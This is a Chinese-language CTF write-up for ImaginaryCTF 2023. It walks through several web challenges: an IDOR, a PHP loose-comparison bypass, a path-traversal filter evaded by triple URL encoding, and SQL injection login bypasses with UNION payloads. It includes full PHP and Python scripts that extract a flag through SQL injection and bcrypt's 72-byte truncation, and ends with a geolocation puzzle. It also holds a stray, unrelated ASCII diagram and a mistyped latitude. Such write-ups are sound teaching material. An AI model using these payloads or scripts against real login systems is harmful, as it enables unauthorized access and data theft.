imaginary_ctf

本文最后更新于:10 个月前

imaginary_ctf2023

web

Idoriot

打开题目看了眼,登陆加注册感觉是二次注入之类的,登陆界面闭合注释啥的都试了下,结果长得都一样↓,点进注册页面看看

xxxxxxxxxx  ┌─   ┌──────────────────────────────────┐ │     │     Compiler, debugger, etc.     │ │     └──────────────────────────────────┘ JDK ┌─ ┌──────────────────────────────────┐ │ │ │                                 │ │ JRE │     JVM + Runtime Library       │ │ │ │                                 │ └─ └─ └──────────────────────────────────┘       ┌───────┐┌───────┐┌───────┐┌───────┐       │Windows││ Linux ││ macOS ││others │       └───────┘└───────┘└───────┘└───────┘ascii

随便账号输了个单引号闭合闭合666’,密码随便输了个123,网页回显源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
Welcome, User ID: 126181005
Source Code
<?php

session_start();

// Check if user is logged in
if (!isset($_SESSION['user_id'])) {
header("Location: login.php");
exit();
}

// Check if session is expired
if (time() > $_SESSION['expires']) {
header("Location: logout.php");
exit();
}

// Display user ID on landing page
echo "Welcome, User ID: " . urlencode($_SESSION['user_id']);

// Get the user for admin
$db = new PDO('sqlite:memory:');
$admin = $db->query('SELECT * FROM users WHERE user_id = 0 LIMIT 1')->fetch();

// Check if the user is admin
if ($admin['user_id'] === $_SESSION['user_id']) {
// Read the flag from flag.txt
$flag = file_get_contents('flag.txt');
echo "<h1>Flag</h1>";
echo "<p>$flag</p>";
} else {
// Display the source code for this file
echo "<h1>Source Code</h1>";
highlight_file(__FILE__);
}

?>

从代码逻辑可以看出当执行sql语句SELECT * FROM users WHERE user_id = 0 LIMIT 1后第一行user_id的值和当前网页会话SESSION['user_id']相等时回显flag,从SQL查询语句容易得到就是要让SESSION['user_id']值为0,退出登录去logout.php,重新点注册,是session的话就说明是在提交表单环节设置的,bp抓个包,改post参数user_id为0,Forward。

getflag


idoriot-revenge

和上一题同样的开头,先注册点开

随便一个账号密码回显源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
Welcome, User ID: 736136856
Source Code
<?php

session_start();

// Check if user is logged in
if (!isset($_SESSION['user_id'])) {
header("Location: login.php");
exit();
}

// Check if session is expired
if (time() > $_SESSION['expires']) {
header("Location: logout.php");
exit();
}

// Display user ID on landing page
echo "Welcome, User ID: " . urlencode($_SESSION['user_id']);

// Get the user for admin
$db = new PDO('sqlite:memory:');
$admin = $db->query('SELECT * FROM users WHERE username = "admin" LIMIT 1')->fetch();

// Check user_id
if (isset($_GET['user_id'])) {
$user_id = (int) $_GET['user_id'];
// Check if the user is admin
if ($user_id == "php" && preg_match("/".$admin['username']."/", $_SESSION['username'])) {
// Read the flag from flag.txt
$flag = file_get_contents('/flag.txt');
echo "<h1>Flag</h1>";
echo "<p>$flag</p>";
}
}

// Display the source code for this file
echo "<h1>Source Code</h1>";
highlight_file(__FILE__);
?>

看下面这部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
$admin = $db->query('SELECT * FROM users WHERE username = "admin" LIMIT 1')->fetch();

// Check user_id
if (isset($_GET['user_id'])) {
$user_id = (int) $_GET['user_id'];
// Check if the user is admin
if ($user_id == "php" && preg_match("/".$admin['username']."/", $_SESSION['username'])) {
// Read the flag from flag.txt
$flag = file_get_contents('/flag.txt');
echo "<h1>Flag</h1>";
echo "<p>$flag</p>";
}
}

SQL查询语句查询结果$admin['username']的值显然为’admin’,这回是检验GET传参数$user_id是否弱等于’php’,以及$_SESSION['username']是否包含$admin['username'],即’admin’,若比较由于会类型转换再比较,因此直接修改GET参数user_id值为’php’即可,至于preg_match("/".$admin['username']."/", $_SESSION['username'])条件,注册时随便注册一个包含’admin’的字符串作为用户名即可,

再改参数:

getflag


roks

网页内容:

点’get rok picture’会随机显示一张石头的图片,查看源代码:

index.php主要内容如下,点击鼠标触发事件随机获取一张图片的url,然后直接带着url参数跳转到/file.php?file=url页面,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
button onclick="requestRandomImage()">get rok picture</button>
<script>
function requestRandomImage() {
var imageList = ["image1", "image2", "image3", "image4", "image5", "image6", "image7", "image8", "image9", "image10"]

var randomIndex = Math.floor(Math.random() * imageList.length);
var randomImageName = imageList[randomIndex];

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function () {
if (xhr.readyState === 4 && xhr.status === 200) {
var blob = xhr.response;
var imageUrl = URL.createObjectURL(blob);
document.getElementById("randomImage").src = imageUrl;
}
};

xhr.open("GET", "file.php?file=" + randomImageName, true);
xhr.responseType = "blob";
xhr.send();
}
</script>

file.php内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$filename = urldecode($_GET["file"]);
if (str_contains($filename, "/") or str_contains($filename, ".")) {
$contentType = mime_content_type("stopHacking.png");
header("Content-type: $contentType");
readfile("stopHacking.png");
} else {
$filePath = "images/" . urldecode($filename);
$contentType = mime_content_type($filePath);
header("Content-type: $contentType");
readfile($filePath);
}
?>

if (str_contains($filename, "/") or str_contains($filename, "."))条件防止任意文件读取,但是注意看$filename是经过参数file进行url解码得到的,PHP在获取GET参数的时候解码一次(获取POST参数时不会),算上else里解码一次,总共需要进行三次解码,两次解码过后$filename不能含有/.字符,因此,总共需要经过三次url编码,使得在不破坏url结构的同时能够绕过字符串过滤达到文件读取,那读什么文件呢,看下dockerfile,存在:

1
COPY flag.png /

传参:


blank

后端最核心部分代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
...........
app.get('/login', (req, res) => {
res.render('login');
});

app.post('/login', (req, res) => {
const username = req.body.username;
const password = req.body.password;

db.get('SELECT * FROM users WHERE username = "' + username + '" and password = "' + password+ '"', (err, row) => {
if (err) {
console.error(err);
res.status(500).send('Error retrieving user');
} else {
if (row) {
req.session.loggedIn = true;
req.session.username = username;
res.send('Login successful!');
} else {
res.status(401).send('Invalid username or password');
}
}
});
});
..........
app.get('/flag', (req, res) => {
if (req.session.username == "admin") {
res.send('Welcome admin. The flag is ' + fs.readFileSync('flag.txt', 'utf8'));
}
else if (req.session.loggedIn) {
res.status(401).send('You must be admin to get the flag.');
} else {
res.status(401).send('Unauthorized. Please login first.');
}
});

'SELECT * FROM users WHERE username = "'拼接username拼接'" and password = "'拼接password拼接'"'最终username和password均为双引号闭合

随便一个常规字符输入会显示Invalid username or password,但是传入双引号后出现Error retrieving user报错回显,这里注意,***sqlite3和Oracle不支持#号单行注释,只能使用–***,传入"--,报错消失,再次变为Invalid username or password,探路完成,下面看源代码:

1
2
3
4
5
if (row) {
req.session.loggedIn = true;
req.session.username = username;
res.send('Login successful!');
}

要查询到结果,才能登陆成功,并设置session,没有session直接访问/flag会

1
2
3
else {
res.status(401).send('Unauthorized. Please login first.');
}

这里就是一个简单的利用select查询字符串,当然我们得让原来的查询语句无查询结果,或者联合查询完后用limit语句,来使得查询结果为一条对吧。

之后第一个坑来了(个人做题时),判断原查询结果字段数,别问,问就是上来没order by上来就是union select 1,2,默认只有用户名和密码两个字段了呜呜呜,结果咋地都是报错,卡了有一会,后面头脑发光,转过来了,欸,应该是有第三个字段,试了下" union select 1,2,3--,欸,不出所料

判断字段数,很重要呜呜呜

然后捏,当我们满心欢喜拿到session去访问/flag时,欸嘿

好吧扭头回去看源代码:

1
2
3
4
5
if (row) {
req.session.loggedIn = true;
req.session.username = username;
res.send('Login successful!');
}

session的username值是username赋的,username是我们传入的用户名(const username = req.body.username;),所以就是说,弄了那么久,最后传进来的用户名是那一大坨”payload”,设置的session也是。。。不慌,想让传入的username值为admin,很好满足,别急,别忘了还有一个password注入点。

这回我们直接传入username为admin,懒得判断原查询结果哪个字段是admin了,索性三个都弄成admin,上payload:

1
2
username:admin
password:" union select 'admin','admin','admin'--

之后SQL语句变为:

1
SELECT * FROM users WHERE username = "admin" and password = "" union select 'admin','admin','admin'--"

登陆成功后访问/flag,拿到flag:


Perfect Picture

看一眼源代码就是修改图片像素参数


Login

当你感觉什么都没有的时候,为什么不按下F12呢? ————鲁迅

直接传/?source

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php

if (isset($_GET['source'])) {
highlight_file(__FILE__);
die();
}

$flag = $_ENV['FLAG'] ?? 'jctf{test_flag}';
$magic = $_ENV['MAGIC'] ?? 'aabbccdd11223344';
$db = new SQLite3('/db.sqlite3');

$username = $_POST['username'] ?? '';
$password = $_POST['password'] ?? '';
$msg = '';

if (isset($_GET[$magic])) {
$password .= $flag;
}

if ($username && $password) {
$res = $db->querySingle("SELECT username, pwhash FROM users WHERE username = '$username'", true);
if (!$res) {
$msg = "Invalid username or password";
} else if (password_verify($password, $res['pwhash'])) {
$u = htmlentities($res['username']);
$msg = "Welcome $u! But there is no flag here :P";
if ($res['username'] === 'admin') {
$msg .= "<!-- magic: $magic -->";
}
} else {
$msg = "Invalid username or password";
}
}
?>

#下面html中还嵌着一个<?= $msg ?>

??:php8新加入的,如果前面的变量不存在,就将后面的默认字符串赋值,

1
2
3
$flag = $_ENV['FLAG'] ?? 'jctf{test_flag}';#如果无法从环境变量中获取到FLAG,那么就把后面的那个赋值给$flag
$magic = $_ENV['MAGIC'] ?? 'aabbccdd11223344';#同理
#主打的就是一个保险(

在学习安全的路上首次亮相password_verify()函数亮相,判断变量$password的hash值是否等于第二个参数(存入数据库当中的经哈希处理后的字符串),然后还要$res[‘username’]为’admin’,怎么想了想和上一题blank好像很像,至于构造hash字符串编码,php中有对应的password_hash()函数,先随便生成个密码看看

1
2
3
4
5
6
<?php
$input = "666";
$hash = password_hash($input,PASSWORD_DEFAULT);
echo $hash;

#output:$2y$10$gJWTsCxZTfjNlqN7hVqCF.QKzQ6giNnSpayWxWvG6gnOUTikgJ3Im

嗯。。在这之前我一定测试过字段数,我一定不是随便写两个字段下去的

总之和上一道题差不多的操作之后,成功让password验证成功,看一眼注释,拿到那个magic:

回到源代码:

1
2
3
if (isset($_GET[$magic])) {
$password .= $flag;
}

是的,没错。。是.=我从第一眼就没见到那个点点,这为我之后的懵逼历程埋下了大大的伏笔。。。

什么意思呢,如果有GET传入$magic,也就是688a35c685a7a654abc80f8e123ad9f0,那么password变量就会与flag拼接起来,这也将是我们之后的突破口。

然后开始懵逼,最开始没看到那个点点,一度想尝试过爆破逐一比对hash,结果捏,三四十个预选字符,长度大概二十多三十多吧,也就40多的30多次方种情况吧,不多不多(

然后就求助与学长了,其实当时如果自己去php官网有目的性地查找,是能够查询到password_hash的相关特性的

使用PASSWORD_BCRYPY算法加密,被加密字符串最多长72个字节,这是官方给出的描述

当时我没去自己查相关特性,求助了L1ao学长,他给了个trick,这个trick讲的其实更加直白,很容易看懂意图所在,但是真的从刚开始就把.=看成 =了呜呜呜呜呜,下面是trick的内容

1
2
3
4
5
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True

PASSWORD_BCRYPT加密的时候只对前72个字节加密,超过72字节的部分不管,根据这个我们可以得出:

1
2
3
4
5
6
7
8
9
10
11
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSWORD_BCRYPT)
//False
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSWORD_BCRYPT)
//True
$cont=71; echo password_verify(str_repeat("a",$cont).substr($password,0,1), password_hash(str_repeat("a",$cont)."b", PASSWORD_BCRYPT).'i'
//True
$cont=70; echo password_verify(str_repeat("a",$cont).substr($password,0,2), password_hash(str_repeat("a",$cont)."b", PASSWORD_BCRYPT).'ic'
//True
$cont=69; echo password_verify(str_repeat("a",$cont).substr($password,0,3), password_hash(str_repeat("a",$cont)."b", PASSWORD_BCRYPT).'ict'
//True
........

由于是传入$magic之后$password是拼接在用户传入的部分后面的,(这里我们暂称重复的71个’a’为冗余字节)所以可以从71一个一个减少用户传入的冗余字节数,每次减少一个字节数之后,遍历候选字符集,拼接在冗余字节和已知password部分后面(不要每次都只拼接在冗余字节后面,要爆出来一个就紧跟在a后面)

最开始的时候不知道为啥闲着没事就用php而不是python写了一个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
$flag = '';
$url = 'http://login.chal.imaginaryctf.org/?688a35c685a7a654abc80f8e123ad9f0';
$pre = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!?{}_";
$arr = str_split($pre);
for($re = 71;$re > 0;$re--){
foreach ($arr as $i){
$username = str_repeat("a",$re);
$password = password_hash(str_repeat("a",$re).$flag.$i, PASSWORD_BCRYPT);
$post = array(
'password' => $username,
'username' => '\' union select \'admin\',\''.$password.'\'--'
);
#echo $post['username'];
$post = http_build_query($post);
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, $post);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$res = curl_exec($curl);
curl_close($curl);
if(strstr($res,'Welcome')){
$flag .= $i;
echo $flag;
echo "\n";
break;
}
#echo $res;
}
}
?>

有点小慢,问chatgpt知道python里是有一个bcrypy库的,于是再写了个python脚本,写完之后发现其实速度大差不差

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import bcrypt

flag = ''
pre = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!?1234567890}{_"
for re in range(71,0,-1):
for i in pre:
#print(flag)
password = "a" * re
username = "a" * re + flag + i

hashed_password = bcrypt.hashpw(username.encode('utf-8'), bcrypt.gensalt())
post_data = {
'password': password,
'username': '\' union select \'admin\',\'' + hashed_password.decode('utf-8') + '\'--'
}
#print("username:"+username+"\n")
#print(post_data)
url = 'http://login.chal.imaginaryctf.org/?688a35c685a7a654abc80f8e123ad9f0'

response = requests.post(url, data=post_data)
res = response.text

if 'Welcome' in res:
flag += i
print(flag)
break

超酷的好吗


MISC

Signpost

一道社工题,给了个路标,找经纬度,大致能看清图片上信息:

  1. 距SCOTTSDALE STADIUM 761英里
  2. 距离POLO(?)GROUNDS 2925英里
  3. 距SEALS STADIUM2英里

本来,按理来说是要分别找到这三个已知点的经纬度,根据距离画三个圆,三个圆的交点便是目标点附近,但是。。

根据题目描述,这个地方是在一个ball park主题公园,当时我在快乐搜索这三个已知点的时候

直觉告诉我这就是题目要的ballpark,Google Earth,启动!!

emmmm,我不管!!肯定就是Oracle Park!!

获取经纬度

联想到社工误差较大,给了一定的容错空间

但是就在附近的话经纬度变化不会太大

377.779±0.03,-122.389±0.03

试了十几次试出来了